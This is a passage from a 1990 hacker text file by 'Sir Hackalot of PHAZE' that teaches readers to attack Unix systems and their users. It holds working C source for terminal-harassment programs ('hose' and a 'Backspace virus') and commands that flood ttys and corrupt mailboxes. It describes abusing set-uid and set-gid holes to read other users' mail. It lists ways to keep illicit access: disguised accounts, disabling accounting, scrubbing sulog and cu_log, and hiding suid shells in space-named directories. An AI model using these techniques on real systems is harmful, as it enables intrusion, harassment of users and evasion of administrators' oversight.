  1679. in /dev.  If you try it on a user named "sirhack" it will notify sirhack
  1680. of what you are doing.  You can supply an argument at the command line, or
  1681. leave a blank message, then it will prompt for one.  You MUST supply a
  1682. Terminal.  Also, if you want to use ?, or *, or (), or [], you must not
  1683. supply a message at the command line, wait till it prompts you.  Example:
  1684.  
  1685. $ ol tty1 You Suck!
  1686. OL (OneLiner) Version 1.00
  1687. by Sir Hackalot [PHAZE]
  1688. Sending to: [/dev/tty1]
  1689. Message Sent!
  1690. $
  1691. Or..
  1692. $ ol tty1
  1693. OL (OneLiner) Version 1.00
  1694. by Sir Hackalot [PHAZE]
  1695. Dummy! You Forgot to Supply a ONE LINE MESSAGE!
  1696. Enter one here => Loozer! Logoff (NOW)!! ^G^G
  1697. Sending to: [/dev/tty1]
  1698. Message Sent!
  1699. $
  1700.  
  1701.   You can even use it to fake messages from root.  Here is another:
  1702.  
  1703.  
  1704. /*
  1705.  * Hose another user
  1706.  */
  1707.  
  1708. #include <stdio.h>
  1709. #include <sys/types.h>
  1710. #include <sys/stat.h>
  1711. #include <signal.h>
  1712. #include <utmp.h>
  1713. #include <time.h>
  1714. #include <termio.h>
  1715. #include <sys/utsname.h>
  1716.  
  1717. #define NMAX    sizeof(ubuf.ut_name)
  1718.  
  1719. struct    utmp ubuf;
  1720. struct    termio oldmode, mode;
  1721. struct    utsname name;
  1722. int yn;        
  1723. int loop = 0;
  1724. char    *realme[50] = "Unknown";
  1725. char    *strcat(), *strcpy(), me[50]  = "???", *him, *mytty, histty[32];
  1726. char    *histtya, *ttyname(), *strrchr(), *getenv();
  1727. int    signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
  1728. FILE    *tf;
  1729.  
  1730. main(argc, argv)
  1731. int argc;
  1732. char *argv[];
  1733. {
  1734.     register FILE *uf;
  1735.     char c1, lastc;
  1736.     int goodtty = 0;
  1737.     long clock = time((long *) 0);
  1738.     struct tm *localtime();
  1739.     struct tm *localclock = localtime( &clock );
  1740.     struct stat stbuf;
  1741.     char psbuf[20], buf[80], window[20], junk[20];
  1742.     FILE *pfp, *popen();
  1743.  
  1744.     if (argc < 2) {
  1745.                 printf("usage: hose user [ttyname]\n");
  1746.         exit(1);
  1747.     }
  1748.         him = argv[1];
  1749.  
  1750.     if (argc > 2)
  1751.         histtya = argv[2];
  1752.     if ((uf = fopen("/etc/utmp", "r")) == NULL) {
  1753.         printf("cannot open /etc/utmp\n");
  1754.         exit(1);
  1755.     }
  1756.     cuserid(me);
  1757.     if (me == NULL) {
  1758.         printf("Can't find your login name\n");
  1759.         exit(1);
  1760.     }
  1761.     mytty = ttyname(2);
  1762.     if (mytty == NULL) {
  1763.         printf("Can't find your tty\n");
  1764.         exit(1);
  1765.     }
  1766.     if (stat(mytty, &stbuf) < 0) {
  1767.         printf("Can't stat your tty -- This System is bogus.\n");
  1768.     }
  1769.     if ((stbuf.st_mode&02) == 0) {
  1770.         printf("You have write permissions turned off (hehe!).\n");
  1771.     }
  1772.  
  1773.     if (histtya) {
  1774.         if (!strncmp(histtya, "/dev/", 5))
  1775.             histtya = strrchr(histtya, '/') + 1;
  1776.         strcpy(histty, "/dev/");
  1777.         strcat(histty, histtya);
  1778.     }
  1779.     while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
  1780.         if (ubuf.ut_name[0] == '\0')
  1781.             continue;
  1782.         if (!strncmp(ubuf.ut_name, him, NMAX)) {
  1783.             logcnt++;
  1784.             if (histty[0]==0) {
  1785.                 strcpy(histty, "/dev/");
  1786.                 strcat(histty, ubuf.ut_line);
  1787.             }
  1788.             if (histtya) {
  1789.                 if (!strcmp(ubuf.ut_line, histtya))
  1790.                     goodtty++;
  1791.             }
  1792.         }
  1793.     }
  1794.     fclose(uf);
  1795.         if (logcnt==0) {
  1796.         printf("%s not found! (Not logged in?)\n", him);
  1797.         exit(1);
  1798.     }
  1799.  
  1800.     if (histtya==0 && logcnt > 1) {
  1801.         printf("%s logged more than once\nwriting to %s\n", him, histty+5);
  1802.     }
  1803.     if (access(histty, 0) < 0) {
  1804.         printf("No such tty? [%s]\n",histty);
  1805.         exit(1);
  1806.     }
  1807.     signal(SIGALRM, timout);
  1808.     alarm(5);
  1809.     if ((tf = fopen(histty, "w")) == NULL)
  1810.         goto perm;
  1811.     alarm(0);
  1812.     if (fstat(fileno(tf), &stbuf) < 0)
  1813.         goto perm;
  1814.     if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
  1815.         goto perm;
  1816.     ioctl(0, TCGETA, &oldmode);        /* save tty state */
  1817.     ioctl(0, TCGETA, &mode);
  1818.     sigs(eof);
  1819.     uname(&name);
  1820.         if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
  1821.   if (yn == 1 ) {
  1822.     fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
  1823.     fclose(tf);
  1824.     printf("Critical Error Handler: %s running conflicting process\n",him);
  1825.     exit(1);
  1826. }
  1827.     fflush(tf);
  1828.     mode.c_cc[4] = 1;
  1829.     mode.c_cc[5] = 0;
  1830.     mode.c_lflag &= ~ICANON;
  1831.     ioctl(0, TCSETAW, &mode);
  1832.     lastc = '\n';
  1833.  
  1834.  
  1835. printf("Backspace / Spin Cursor set lose on: %s\n",him);
  1836.    while (loop == 0) {
  1837.    c1 = '\b'; 
  1838.    write(fileno(tf),&c1,1); 
  1839.    sleep(5); 
  1840. fprintf(tf,"\\\b|\b/\b-\b+\b"); 
  1841.    fflush(tf); 
  1842.    }
  1843.  
  1844.  
  1845.  
  1846.  
  1847. perm:
  1848. printf("Write Permissions denied!\n");
  1849. exit(1);
  1850. }
  1851.  
  1852. timout()
  1853. {
  1854.  
  1855. printf("Timeout opening their tty\n");
  1856. exit(1);
  1857. }
  1858.  
  1859. eof()
  1860. {
  1861. printf("Bye..\n");
  1862. ioctl(0, TCSETAW, &oldmode);
  1863. exit(0);
  1864. }
  1865.  
  1866. ex()
  1867. {
  1868.     register i;
  1869.     sigs(SIG_IGN);
  1870.     i = fork();
  1871.     if (i < 0) {
  1872.         printf("Try again\n");
  1873.         goto out;
  1874.     }
  1875.     if (i == 0) {
  1876.         sigs((int (*)())0);
  1877.         execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
  1878.         exit(0);
  1879.     }
  1880.     while(wait((int *)NULL) != i)
  1881.         ;
  1882.     printf("!\n");
  1883. out:
  1884.     sigs(eof);
  1885. }
  1886.  
  1887. sigs(sig)
  1888. int (*sig)();
  1889. {
  1890.     register i;
  1891.     for (i=0; signum[i]; i++)
  1892.         signal(signum[i], sig);
  1893. }
  1894.  
  1895.  
  1896.  
  1897. What the above is, is a modified version of the standard write command.
  1898. What it does, is spin the cursor once, then backspace once over the
  1899. screen of the user it is run on. All though, it does not physically affect
  1900. input, the user thinks it does.  therefore, he garbles input.  The sleep(xx)
  1901. can be changed to make the stuff happen more often, or less often.
  1902. If you put your login name in the "YOURNAMEHERE" slot, it will protect you
  1903. from getting hit by it, if someone off a Public access unix leeches the
  1904. executable from your directory.
  1905. You could make a shorter program that does almost the same thing, but
  1906. you have to supply the terminal, observe:
  1907.  
  1908. /* Backspace virus, by Sir Hackalot [Phaze] */
  1909. #include <stdio.h>
  1910. #include <fcntl.h>
  1911. main(argc,argv)
  1912. char *argv[];
  1913. int argc;
  1914. {
  1915.         int x = 1;
  1916.         char *device = "/dev/";
  1917.         FILE *histty;
  1918.         if (argc == 1) {
  1919.         printf("Bafoon.  Supply a TTY.\n");
  1920.         exit(1);
  1921.         }
  1922.         strcat(device,argv[1]);
  1923.         /* Make the filename /dev/tty.. */
  1924.         histty = fopen(device,"a");
  1925.         if (histty == NULL) {
  1926.         printf("Error opening/writing to tty.  Check their perms.\n");
  1927.         exit(1);
  1928.         }
  1929.         printf("BSV - Backspace virus, By Sir Hackalot.\n");
  1930.         printf("The Sucker on %s is getting it!\n",device);
  1931.         while (x == 1) {
  1932.         fprintf(histty,"\b\b");
  1933.         fflush(histty);
  1934.         sleep(5);
  1935.         }
  1936.         }
  1937.  
  1938. Thats all there is to it.  If you can write to their tty, you can use this on
  1939. them.  It sends two backspaces to them every approx. 5 seconds.  You
  1940. should run this program in the background.  (&).  Here is an example:
  1941.  
  1942. $ who
  1943. sirhack     tty11
  1944. loozer      tty12
  1945. $ bsv tty12&
  1946. [1]  4566
  1947. BSV - Backspace virus, by Sir Hackalot
  1948. The Sucker on /dev/tty12 is getting it!
  1949. $
  1950.  
  1951. Now, it will keep "attacking" him, until he loggs of, or you kill the process
  1952. (which was 4566 -- when you use &, it gives the pid [usually]).
  1953.  
  1954. ** Note *** Keep in mind that MSDOS, and other OP systems use The CR/LF
  1955. method to terminate a line.  However, the LF terminates a line in Unix.
  1956. you must STRIP CR's on an ascii upload if you want something you upload
  1957. to an editor to work right.  Else, you'll see a ^M at the end of every
  1958. line.  I know that sucks, but you just have to compensate for it.
  1959.  
  1960. I have a number of other programs that annoy users, but that is enough to
  1961. get your imagination going, provided you are a C programmer.  You can annoy
  1962. users other ways.  One thing you can do is screw up the user's mailbox.
  1963. The way to do this is to find a binary file (30k or bigger) on the system
  1964. which YOU have access to read.  then, do this:
  1965.  
  1966. $ cat binary_file | mail loozer
  1967.  
  1968. or
  1969.  
  1970. $ mail loozer < binary file
  1971.  
  1972. That usually will spilt into 2 messages or more.  The 1st message will
  1973. have a from line.. (from you ..), but the second WILL NOT!  Since it does
  1974. not, the mail reader will keep exiting and giving him an error message until
  1975. it gets fixed..  The way to fix it is to go to the mail box that got hit
  1976. with this trick (usually only the one who got hit (or root) and do this),
  1977. and edit the file, and add a from line.. like
  1978. From username..
  1979.  
  1980. then it will be ok.  You can screw the user by "cat"ing a binary to his tty.
  1981. say Loozer is on tty12.  You can say..
  1982. $ cat binary_file >/dev/tty12
  1983. $
  1984. It may pause for a while while it outputs it.  If you want to resume what
  1985. you were doing instantly, do:
  1986. $ cat binary_file >/dev/tty12&
  1987. [1] 4690
  1988. $
  1989. And he will probably logoff.  You can send the output of anything to his
  1990. terminal.  Even what YOU do in shell.  Like this:
  1991. $ sh >/dev/tty12
  1992. $
  1993. You'll get your prompts, but you won't see the output of any commands, he
  1994. will...
  1995. $ ls
  1996. $ banner Idiot!
  1997. $ echo Dumbass!
  1998. $
  1999. until you type in exit, or hit ctrl-d.
  2000.  
  2001.  
  2002. There are many many things you can do.  You can fake a "write" to someone
  2003. and make them think it was from somewhere on the other side of hell.  Be
  2004. creative.
  2005.  
  2006. When you are looking for things to do, look for holes, or try to get
  2007. someone to run a trojan horse that makes a suid shell.  If you get
  2008. someone to run a trojan that does that, you can run the suid, and log their
  2009. ass off by killing their mother PID.  (kill -9 whatever).  Or, you can
  2010. lock them out by adding "kill -1 0" to their .profile.  On the subject of
  2011. holes, always look for BAD suid bits.  On one system thought to be invincible
  2012. I was able to read/modify everyone's mail, because I used a mailer that had
  2013. both the GroupID set, and the UserID set.  When I went to shell from it,
  2014. the program instantly changed my Effective ID back to me, so I would not be
  2015. able to do anything but my regular stuff.  But it was not designed to change
  2016. the GROUP ID back.  The sysop had blundered there.  SO when I did an ID
  2017. I found my group to be "Mail".  Mailfiles are readble/writeable by the
  2018. user "mail", and the group "mail".  I then set up a sgid (set group id) shell
  2019. to change my group id to "mail" when I ran it, and scanned important mail,
  2020. and it got me some good info.  So, be on the look out for poor permissions.
  2021.  
  2022. Also, after you gain access, you may want to keep it.  Some tips on doing so
  2023. is:
  2024.         1. Don't give it out.  If the sysadm sees that joeuser logged in 500
  2025.            times in one night....then....
  2026.         2. Don't stay on for hours at a time.  They can trace you then. Also
  2027.            they will know it is irregular to have joeuser on for 4 hours
  2028.            after work.
  2029.         3. Don't trash the system.  Don't erase important files, and don't
  2030.            hog inodes, or anything like that.  Use the machine for a specific
  2031.            purpose (to leech source code, develop programs, an Email site).
  2032.            Dont be an asshole, and don't try to erase everything you can.
  2033.         4. Don't screw with users constantly.  Watch their processes and
  2034.            run what they run.  It may get you good info (snoop!)
  2035.         5. If you add an account, first look at the accounts already in there
  2036.            If you see a bunch of accounts that are just 3 letter abbrv.'s,
  2037.            then make yours so.  If a bunch are "cln, dok, wed" or something,
  2038.            don't add one that is "joeuser", add one that is someone's
  2039.            full initials.
  2040.  
  2041.         6. When you add an account, put a woman's name in for the
  2042.            description, if it fits (Meaning, if only companies log on to the
  2043.            unix, put a company name there).  People do not suspect hackers
  2044.            to use women's names.  They look for men's names.
  2045.         7. Don't cost the Unix machine too much money.  Ie.. don't abuse an
  2046.            outdial, or if it controls trunks, do not set up a bunch of dial
  2047.            outs.  If there is a pad, don't use it unless you NEED it.
  2048.         8. Don't use x.25 pads.  Their usage is heavily logged.
  2049.         9. Turn off acct logging (acct off) if you have the access to.
  2050.            Turn it on when you are done.
  2051.        10. Remove any trojan horses you set up to give you access when you
  2052.            get access.
  2053.        11. Do NOT change the MOTD file to say "I hacked this system" Just
  2054.            thought I'd tell you.  Many MANY people do that, and lose access
  2055.            within 2 hours, if the unix is worth a spit.
  2056.        12. Use good judgement.  Cover your tracks.  If you use su, clean
  2057.            up the sulog.
  2058.        13. If you use cu, clean up the cu_log.
  2059.        14. If you use the smtp bug (wizard/debug), set up a uid shell.
  2060.        15. Hide all suid shells.  Here's how:
  2061.            goto /usr
  2062.            (or any dir)
  2063.            do:
  2064.            # mkdir ".. "
  2065.            # cd ".. "
  2066.            # cp /bin/sh ".whatever"
  2067.            # chmod a+s ".whatever"
  2068.            The "" are NEEDED to get to the directory ..  !  It will not show
  2069.            up in a listing, and it is hard as hell to get to by sysadms if
  2070.            you make 4 or 5 spaces in there ("..    "), because all they will
  2071.            see in a directory FULL list will be .. and they won't be able to
  2072.            get there unless they use "" and know the spacing.  "" is used
  2073.            when you want to do literals, or use a wildcard as part of a file
  2074.            name.
  2075.        16. Don't hog cpu time with password hackers.  They really don't work
  2076.            well.
  2077.  
  2078.        17. Don't use too much disk space.  If you archieve something to dl,
  2079.            dl it, then kill the archieve.
  2080.        18. Basically -- COVER YOUR TRACKS.
  2081.  
  2082. Some final notes:
  2083.  
  2084. Now, I hear lots of rumors and stories like "It is getting harder to get
  2085. into systems...".  Wrong. (Yo Pheds! You reading this??).  It IS true
  2086. when you are dealing with WAN's, such as telenet, tyment, and the Internet,
  2087. but not with local computers not on those networks.  Here's the story:
  2088.  
  2089. Over the past few years, many small companies have sprung up as VARs
  2090. (Value Added Resellers) for Unix and Hardware, in order to make a fast
  2091. buck.  Now, these companies fast talk companies into buying whatever,
  2092. and they proceed in setting up the Unix.  Now, since they get paid by
  2093. the hour usaually when setting one up, they spread it out over days....
  2094. during these days, the system is WIDE open (if it has a dialin).  Get
  2095. in and add yourself to passwd before the seal it off (if they do..).
  2096. Then again, after the machine is set up, they leave the defaults on the
  2097. system.  Why?  The company needs to get in, and most VARs cannot use
  2098. unix worth a shit, all they know how to do is set it up, and that is ALL.
  2099. Then, they turn over the system to a company or business that USUALLY
  2100. has no-one that knows what they hell they are doing with the thing, except
  2101. with menus.  So, they leave the system open to all...(inadvertedly..),
  2102. because they are not competant.  So, you could usually get on, and create
  2103. havoc, and at first they will think it is a bug..  I have seen this
  2104. happen ALL to many times, and it is always the same story...
  2105. The VAR is out for a fast buck, so they set up the software (all they know
  2106. how to do), and install any software packages ordered with it (following
  2107. the step by step instructions).  Then they turn it over to the business
  2108. who runs a word processor, or database, or something, un aware that a
  2109. "shell" or command line exists, and they probably don't even know root does.
  2110. So, we will see more and more of these pop up, especially since AT&T is
  2111. now bundling a version of Xwindows with their new System V, and Simultask...
  2112. which will lead to even more holes.  You'll find systems local to you
  2113. that are easy as hell to get into, and you'll see what I mean.  These
  2114. VARs are really actually working for us.  If a security problem arises
  2115. that the business is aware of, they call the VAR to fix it... Of course,
  2116. the Var gets paid by the hour, and leaves something open so you'll get in
  2117. again, and they make more moolahhhh.
  2118.  
  2119.  
  2120. You can use this phile for whatever you want.  I can't stop you.  Just
  2121. to learn unix (heh) or whatever.  But its YOUR ass if you get caught.
  2122. Always consider the penalties before you attempt something.  Sometimes
  2123. it is not worth it, Sometimes it is.
  2124.  
  2125. This phile was not meant to be comprehensive, even though it may seem like
  2126. it.  I have left out a LOT of techniques, and quirks, specifically to get
  2127. you to learn SOMETHING on your own, and also to retain information so
  2128. I will have some secrets.  You may pass this file on, UNMODIFIED, to any
  2129. GOOD H/P BBS.  Sysops can add things to the archieve to say where
  2130. it was DL'd from, or to the text viewer for the same purpose.  This is
  2131. Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.
  2132.  
  2133. -Sir Hackalot of PHAZE
  2134. 1990.
  2135.  
  2136.